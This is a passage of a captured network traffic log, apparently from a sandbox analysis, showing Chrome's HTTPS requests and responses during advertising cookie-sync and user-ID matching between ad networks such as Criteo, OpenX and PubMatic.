2024-04-27 22:42:22 UTC	740	OUT	GET /usersync/medianet/?puid=${VSID}&cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__ HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuid=pzXJ98G8FgkOH15Vlr4a
2024-04-27 22:42:22 UTC	602	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 111 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: https://contextual.media.net/cksync.php?cs=1&type=zem&ovsid=pzXJ98G8FgkOH15Vlr4a P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=pzXJ98G8FgkOH15Vlr4a; Path=/; Domain=zemanta.com; Expires=Sun, 27 Apr 2025 22:42:22 GMT; Max-Age=31536000; Secure; SameSite=None Date: Sat, 27 Apr 2024 22:42:22 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-04-27 22:42:22 UTC	111	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 65 78 74 75 61 6c 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 2e 70 68 70 3f 63 73 3d 31 26 61 6d 70 3b 74 79 70 65 3d 7a 65 6d 26 61 6d 70 3b 6f 76 73 69 64 3d 70 7a 58 4a 39 38 47 38 46 67 6b 4f 48 31 35 56 6c 72 34 61 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://contextual.media.net/cksync.php?cs=1&type=zem&ovsid=pzXJ98G8FgkOH15Vlr4a">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.4	50424	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:23 UTC	900	OUT	GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
2024-04-27 22:42:23 UTC	254	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:23 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //p.rfihub.com/cm?in=1&pub=20513&ssp=pubmatic&gdpr=0&gdpr_consent=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.4	50440	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:26 UTC	123	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html
2024-04-27 22:42:26 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.4	50429	54.146.215.124	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:27 UTC	770	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AAERJ07MWv8AABVaVp3HVQ; bitoIsSecure=ok
2024-04-27 22:42:27 UTC	559	IN	HTTP/1.1 303 See Other Date: Sat, 27 Apr 2024 22:42:27 GMT location: https://cm.g.doubleclick.net/pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFFUkowN01XdjhBQUJWYVZwM0hWUQ&gdpr=0&gdpr_consent=&bee_sync_partners=sas%2Csyn%2Cpp%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 Server: gunicorn set-cookie: bito=AAERJ07MWv8AABVaVp3HVQ; Domain=bidr.io; expires=Tue, 27 May 2025 18:42:27 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.4	50430	54.165.249.206	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	901	OUT	GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfivefivec=o2ksvWLN1S0QKf5; matchmedianet=5
2024-04-27 22:42:28 UTC	773	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Sat, 27 Apr 2024 22:42:27 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:o2ksvWLN1S0QKf5&gdpr=0&gdpr_consent= Pragma: no-cache Server: PingMatch/v2.0.30-801-g0076fb7#rel-ec2-master i-00c157597dad20050@us-east-1b@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=o2ksvWLN1S0QKf5; Domain=.w55c.net; Expires=Tue, 27 May 2025 22:42:28 GMT; Path=/; SameSite=None; Secure Set-Cookie: matchpubmatic=5; Domain=.w55c.net; Expires=Mon, 27 May 2024 22:42:28 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.4	50433	54.209.244.95	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	1422	OUT	GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs
2024-04-27 22:42:28 UTC	304	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Sat, 27 Apr 2024 22:42:28 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=smhRw3qDUOZWwnIliIFkhJUSGEU&gdpr=0&gdpr_consent= Content-Length: 188 Connection: Close
2024-04-27 22:42:28 UTC	188	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 7a 45 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 73 6d 68 52 77 33 71 44 55 4f 5a 57 77 6e 49 6c 69 49 46 6b 68 4a 55 53 47 45 55 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=smhRw3qDUOZWwnIliIFkhJUSGEU&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.4	50432	192.184.68.134	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	795	OUT	GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: d=EFsBDQHbK9-owQA; mc=662d7f4b-a445d-ea91f-134df
2024-04-27 22:42:28 UTC	695	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: d=EIcBEgHbK_ijDejbEA; expires=Fri, 26-Jul-2024 22:42:28 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.4	50434	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	1104	OUT	GET /w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725.17\|iKvPvMgakWgy.bwuYhEgKg2f8; univ_id=537072971\|43e7dc8e-5458-4375-be4a-644737ed4dbd\|1714257742735200
2024-04-27 22:42:28 UTC	567	IN	HTTP/1.1 302 Moved Temporarily Vary: Accept, Accept-Encoding Set-Cookie: i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; Version=1; Expires=Sun, 27-Apr-2025 22:42:28 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://id.rlcdn.com/464246.gif?partner_uid=916c3c03-001b-021e-1e9a-59ae5922112e Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.4	50437	74.119.117.16	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	924	OUT	GET /dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=3a1484ea-90ac-4bdd-895c-934bad280353
2024-04-27 22:42:28 UTC	531	IN	HTTP/1.1 302 Found content-length: 0 date: Sat, 27 Apr 2024 22:42:27 GMT server: Kestrel cache-control: no-cache expires: Sat, 27 Apr 2024 00:00:00 GMT location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent= pragma: no-cache x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 638674 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.4	50435	34.36.216.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	757	OUT	GET /dmp/pixelSync?nid=4&gdpr=0 HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901; _ssuma=eyIyNiI6MTcxNDI1Nzc0MjY1MywiMzkiOjE3MTQyNTc3NDI2NTMsIjciOjE3MTQyNTc3NDI2NTN9
2024-04-27 22:42:28 UTC	860	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901; Domain=.sitescout.com; Expires=Sun, 27-Apr-2025 22:42:28 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyIyNiI6MTcxNDI1Nzc0MjY1MywiMzkiOjE3MTQyNTc3NDI2NTMsIjE3IjoxNzE0MjU3NzQ4MzA1LCI3IjoxNzE0MjU3NzQyNjUzfQ; Domain=.sitescout.com; Expires=Mon, 27-May-2024 22:42:28 GMT; Path=/; Secure; SameSite=None location: https://us-u.openx.net/w/1.0/sd?id=537072977&val=14f55726-f4ad-421d-bd2f-9c7bac51541e-662d7f49-5553&gdpr=0&gdpr_consent= Content-Length: 0 date: Sat, 27 Apr 2024 22:42:27 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.4	50445	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	2188	OUT	GET /setuid?bidder=triplelift&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=4394171109507437451801 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW5ldCI6eyJ1aWQiOiIzNTcyNTkzMjQ5MTA0NTkwMDAwVjEwIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTcuMjU3MDIzMDE2WiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwi [TRUNCATED]
2024-04-27 22:42:28 UTC	42	IN	HTTP/1.1 200 OK content-type: image/png
2024-04-27 22:42:28 UTC	1879	IN	Data Raw: 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 75 69 64 73 3d 65 79 4a 30 5a 57 31 77 56 55 6c 45 63 79 49 36 65 79 4a 68 5a 47 35 34 63 79 49 36 65 79 4a 31 61 57 51 69 4f 69 49 78 4e 44 63 32 4d 44 55 34 4d 7a 6b 32 4f 44 55 77 4d 54 55 34 4d 44 59 78 49 69 77 69 5a 58 68 77 61 58 4a 6c 63 79 49 36 49 6a 49 77 4d 6a 51 74 4d 44 55 74 4d 54 46 55 4d 6a 49 36 4e 44 49 36 4d 54 41 75 4e 7a 63 79 4e 7a 63 35 4e 6a 6b 78 57 69 4a 39 4c 43 4a 68 5a 47 39 69 5a 53 49 36 65 79 4a 31 61 57 51 69 4f 69 4a 61 61 54 45 74 55 47 64 42 51 58 5a 33 63 30 35 79 55 55 46 47 49 69 77 69 5a 58 68 77 61 58 4a 6c 63 79 49 36 49 6a 49 77 4d 6a 51 74 4d 44 55 74 4d 54 46 55 4d 6a 49 36 4e 44 49 36 4d 54 59 75 4e 44 6b 79 4e 54 51 33 4f 44 41 79 57 69 4a 39 4c 43 4a 74 5a 57 52 70 59 57 Data Ascii: set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJhZG9iZSI6eyJ1aWQiOiJaaTEtUGdBQXZ3c05yUUFGIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTYuNDkyNTQ3ODAyWiJ9LCJtZWRpYW
2024-04-27 22:42:28 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
555	192.168.2.4	50449	74.119.117.16	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	789	OUT	GET /dis/usersync.aspx?r=25&p=52&dis=0&gdpr=&gdpr_consent=&url=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D462%26ssp%3Dcriteo%26user_id%3D%40%40CRITEO_USERID%40%40 HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssp-sync.criteo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=3a1484ea-90ac-4bdd-895c-934bad280353
2024-04-27 22:42:28 UTC	541	IN	HTTP/1.1 302 Found content-length: 0 date: Sat, 27 Apr 2024 22:42:27 GMT server: Kestrel cache-control: no-cache expires: Sat, 27 Apr 2024 00:00:00 GMT location: https://x.bidswitch.net/sync?dsp_id=462&ssp=criteo&user_id=k-rU5q5aqp_dM1H477xpJOVC4AuDhGElh6cWs14g&gdpr=&gdpr_consent= pragma: no-cache x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 847007 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
556	192.168.2.4	50446	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
